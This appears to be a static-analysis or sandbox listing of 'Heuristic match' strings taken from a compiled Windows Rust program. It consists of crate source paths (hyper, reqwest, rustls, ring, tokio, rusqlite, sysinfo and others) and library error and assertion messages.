"/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/header/value.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/slab-0.4.12/src/lib.rs" Heuristic match: "invaliduri/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\collections\vec_deque\mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/body/body.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/body/to_bytes.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h1/io.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h1/conn.rs" Heuristic match: "invalid chunk size line: missing size digitinvalid chunk size: overflowunexpected eof during chunk size lineinvalid chunk end lfinvalid chunk body crinvalid chunk body lf bytes)invalid chunk size lfinvalid chunk size linear white spaceinvalid chunk extensi" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h2/client.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/conn.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/pool.rs" Heuristic match: "http/2 connection in progressalpn upgraded to http/2/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/client.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/connect/dns.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/dispatch.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/common/buf.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/common/exec.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/common/lazy.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/service/oneshot.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/net/tcp/socket.rs" Heuristic match: "assertion failed: self.inner.semaphore.is_idle()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/sync/mpsc/chan.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/sync/mpsc/list.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/sync/mpsc/unbounded.rs" Heuristic match: "http2inactivestreamidunexpectedframetypepayloadtoobigreleasecapacitytoobigoverflowedstreamidmalformedheadersmissingurischemeandauthoritypollresetaftersendresponsesendpingwhilependingsendsettingswhilependingpeerdisabledserverpushuserremoteelapsedopencloseds" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/encode.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/winreg-0.50.0/src/reg_key.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mime-0.3.17/src/lib.rs" Heuristic match: "startsizelwssizelfbodycrbodylftrailertrailerlfendcrendlfend/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/take.rs" Heuristic match: "incompletebodycheckoutisclosederror/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h1/encode.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/chain.rs" Heuristic match: "ready polled after completion/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.32/src/future/ready.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/io/util/write_all.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.32/src/future/select.rs" Heuristic match: "*/*/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/async_impl/client.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/async_impl/request.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/async_impl/response.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/blocking/body.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/blocking/client.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/connect.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/proxy.rs" Heuristic match: "se64 is always valid headervalue/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/util.rs" Heuristic match: "sha1sha256sha384sha512sha512_256/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/polyfill/slice/as_chunks.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/polyfill/slice/as_chunks_mut.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/polyfill/slice.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/aes/ffi.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/aes.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/aes_gcm/aeshwclmulmovbe.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/aes_gcm/vaesclmulavx2.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/aes_gcm.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/algorithm.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/overlapping/base.rs" Heuristic match: "assertion failed: output.len() <= padded.len()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/overlapping/partial_block.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/quic.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/unbound_key.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/arithmetic/ffi.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/arithmetic/bigint/boxed_limbs.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/arithmetic/bigint/modulus.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/arithmetic/bigint.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/arithmetic/limbs/x86_64/mont.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/arithmetic/montgomery.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/io/writer.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/io/positive.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/digest/dynstate.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/ec/curve25519/ed25519/signing.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/ec/curve25519/scalar.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/ec/keys.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/ec/suite_b/ecdsa/digest_scalar.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/ec/suite_b/ecdsa/signing.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/ec/suite_b/ops.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/ec/suite_b/ops/p384.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/ec/suite_b/private_key.rs" Heuristic match: "inconsistentcomponentsinvalidcomponentinvalidencodingrng failedpublickeyismissingtoosmalltoolargeversionnotsupportedwrongalgorithmprivatemoduluslennotmultipleof512bitsunexpectederror/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.1" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/hmac.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/limb.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/pkcs8.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/rsa/padding/pkcs1.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/rsa/padding/pss.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/rsa/padding.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/rsa/public_key.rs" Heuristic match: "assertion failed: min_bits >= min_bits/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/rsa/public_modulus.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/signature.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/chacha/ffi.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.32.1/src/inner_connection.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.32.1/src/statement.rs" Heuristic match: "integerrealblob/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\ops\function.rs" Heuristic match: "/rust/deps\rustc-demangle-0.1.25\src\legacy.rs" Heuristic match: "/rust/deps\rustc-demangle-0.1.25\src\v0.rs" Heuristic match: ".llvm./rust/deps\rustc-demangle-0.1.25\src\lib.rs" Heuristic match: "crlsrequiredunixtimedataalgorithmsignatureringalgorithmpublic_key_alg_idsignature_alg_idverification_algownedrevokedcertserial_numberrevocation_datereason_codeinvalidity_datekeycompromisecacompromiseaffiliationchangedsupersededcessationofoperationcertifica" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/msgs/deframer.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/msgs/fragmenter.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/msgs/handshake.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/common_state.rs" Heuristic match: "failed to parse private key as rsa, ecdsa, or eddsa/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/sign.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/quic.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/tls12.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/tls13.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/cipher.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/hash.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/hmac.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/tls12.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/tls13.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/limited_cache.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/record_layer.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/tls12/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/tls13/key_schedule.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/vecbuf.rs" Heuristic match: "assertion failed: leading_zero_bytes < size.len()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/x509.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/webpki/server_verifier.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/webpki/verify.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/client/client_conn.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/client/handy.rs" Heuristic match: "clientsessionmemorycache/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/client/hs.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/client/tls12.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/client/tls13.rs" Heuristic match: "assertion failed: buf.len() <= u32::max as usize/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sys\io\io_slice\windows.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/aead/less_safe_key.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/agreement.rs" Heuristic match: "systemrandompssdigest_algtryfromsliceerrorpkcs1digestinfo_prefixunspecified/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/digest.rs" Heuristic match: "alertmessagepayloadchangecipherspecpayload/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/msgs/codec.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/msgs/deframer.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/msgs/fragmenter.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/msgs/handshake.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/anchors.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/cipher.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/common_state.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/limited_cache.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/record_layer.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/tls12/cipher.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/tls12/prf.rs" Heuristic match: "master secretextended master secret/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/tls12/mod.rs" Heuristic match: "res binderc e trafficc hs traffics hs trafficc ap traffics ap trafficexp masterres masterderivedclient_early_traffic_secretclient_handshake_traffic_secretserver_handshake_traffic_secretclient_traffic_secret_0server_traffic_secret_0exporter_secret/usr/local" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/tls13/mod.rs" Heuristic match: "encrypt failed/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/vecbuf.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/x509.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/client/client_conn.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/client/handy.rs" Heuristic match: "invalid private key/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/client/hs.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/client/tls12.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/client/tls13.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/sign.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\io\buffered\bufreader.rs" Heuristic match: "1.3.6.1.5.5.7.3.1root/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-native-certs-0.7.3/src/windows.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-native-certs-0.7.3/src/lib.rs" Heuristic match: "invalidbyteinvalidlengthinvalidlastsymbolinvalidpadding/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-pemfile-1.0.4/src/pemfile.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-pemfile-1.0.4/src/lib.rs" Heuristic match: "systemtimeerror/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-pki-types-1.14.1/src/base64.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-pki-types-1.14.1/src/server_name.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-pki-types-1.14.1/src/pem.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-pki-types-1.14.1/src/lib.rs" Heuristic match: "invalidcharacterprematurepaddinginvalidtrailingpaddinginsufficientoutputspace/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/schannel-0.1.29/src/cert_context.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sct-0.7.1/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/itoa-1.0.17/src/lib.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/error.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\poison\once.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/socket2-0.5.10/src/sys/windows.rs" Heuristic match: "library\std\src\panicking.rs" Heuristic match: "overflow in duration::new/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\time.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\collections\btree\map\entry.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\collections\btree\node.rs" Heuristic match: "library\std\src\rt.rs" Heuristic match: "library\std\src\thread\scoped.rs" Heuristic match: "library\std\src\thread\current.rs" Heuristic match: "library\std\src\thread\local.rs" Heuristic match: "library\std\src\thread\mod.rs" Heuristic match: "rust_backtracelibrary\std\src\sys_common\wtf8.rs" Heuristic match: "library\std\src\ffi\os_str.rs" Heuristic match: "library\std\src\sys\io\io_slice\windows.rs" Heuristic match: "library\std\src\io\buffered\linewritershim.rs" Heuristic match: "library\std\src\io\stdio.rs" Heuristic match: "stdoutstderrlibrary\std\src\io\mod.rs" Heuristic match: "handlepanicked at :library\std\src\path.rs" Heuristic match: "library\std\src\sync\poison\once.rs" Heuristic match: "lock count overflow in reentrant mutexlibrary\std\src\sync\reentrant_lock.rs" Heuristic match: "overflow when adding duration to instantlibrary\std\src\time.rs" Heuristic match: "pathlibrary\std\src\sys\process\mod.rs" Heuristic match: "library\std\src\sys_common\mod.rs" Heuristic match: "library\std\src\..\..\backtrace\src\symbolize\mod.rs" Heuristic match: "library\std\src\..\..\backtrace\src\dbghelp.rs" Heuristic match: "library\std\src\sys\pal\windows\os.rs" Heuristic match: "library\std\src\sys\pal\windows\pipe.rs" Heuristic match: "library\std\src\sys\pal\windows\thread.rs" Heuristic match: "library\std\src\sys\pal\windows\time.rs" Heuristic match: "y\std\src\sys\pal\windows\mod.rs" Heuristic match: "library\std\src\sys\args\windows.rs" Heuristic match: "library\std\src\sys\env\windows.rs" Heuristic match: "filepath*assertion failed: len >= size_of::()library\std\src\sys\net\connection\socket.rs" Heuristic match: "library\std\src\sys\net\connection\socket\windows.rs" Heuristic match: "std\src\sys\path\windows.rs" Heuristic match: "library\std\src\sys\path\windows_prefix.rs" Heuristic match: "library\std\src\sys\process\windows.rs" Heuristic match: "library\std\src\sys\stdio\windows.rs" Heuristic match: "library\std\src\sys\sync\rwlock\futex.rs" Heuristic match: "library\std\src\sys\thread_local\destructors\list.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rayon-1.11.0/src/iter/extend.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rayon-core-1.13.0/src/job.rs" Heuristic match: "assertion failed: injected && !worker_thread.is_null()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rayon-core-1.13.0/src/registry.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\vec\spec_from_iter_nested.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\collections\btree\navigate.rs" Heuristic match: "attempt to join into collection with len > usize::max/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\str.rs" Heuristic match: "assertion failed: vec.capacity() - start >= len/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rayon-1.11.0/src/vec.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rayon-core-1.13.0/src/latch.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/windows-0.52.0/src/windows/win32/storage/filesystem/mod.rs" Heuristic match: "system/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sysinfo-0.30.13/src/windows/cpu.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sysinfo-0.30.13/src/windows/disk.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sysinfo-0.30.13/src/windows/process.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sysinfo-0.30.13/src/windows/sid.rs" Heuristic match: "global_key_idle disappeared/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sysinfo-0.30.13/src/windows/system.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sysinfo-0.30.13/src/windows/tools.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sysinfo-0.30.13/src/windows/utils.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sys\thread_local\native\lazy.rs" Heuristic match: "threads should not terminate unexpectedly/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\thread\mod.rs" Heuristic match: "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\sync\atomic.rs" Heuristic match: "tryfrominterror/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/io/read_buf.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/util/wake_list.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/util/linked_list.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/io/poll_evented.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/net/tcp/stream.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/park.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/context/current.rs" Heuristic match: "assertion failed: c.runtime.get().is_entered()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/context/runtime.rs" Heuristic match: "a tokio 1.x context was found, but io is disabled. call `enable_io` on the runtime builder to enable io.a tokio 1.x context was found, but timers are disabled. call `enable_time` on the runtime builder to enable timers./usr/local/cargo/registry/src/index.c" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/scheduler/defer.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/io/driver.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/io/registration.rs" Heuristic match: "a tokio 1.x context was found, but it is being shutdown./usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/io/registration_set.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/time/entry.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/time/wheel/level.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/time/wheel/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/time/mod.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/task/core.rs" Heuristic match: "assertion failed: snapshot.is_complete()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/task/harness.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/task/list.rs" Heuristic match: "assertion failed: next.is_notified()/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/task/state.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/blocking/pool.rs" Heuristic match: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.50.0/src/runtime/blocking/schedule.rs" Heuristic match: 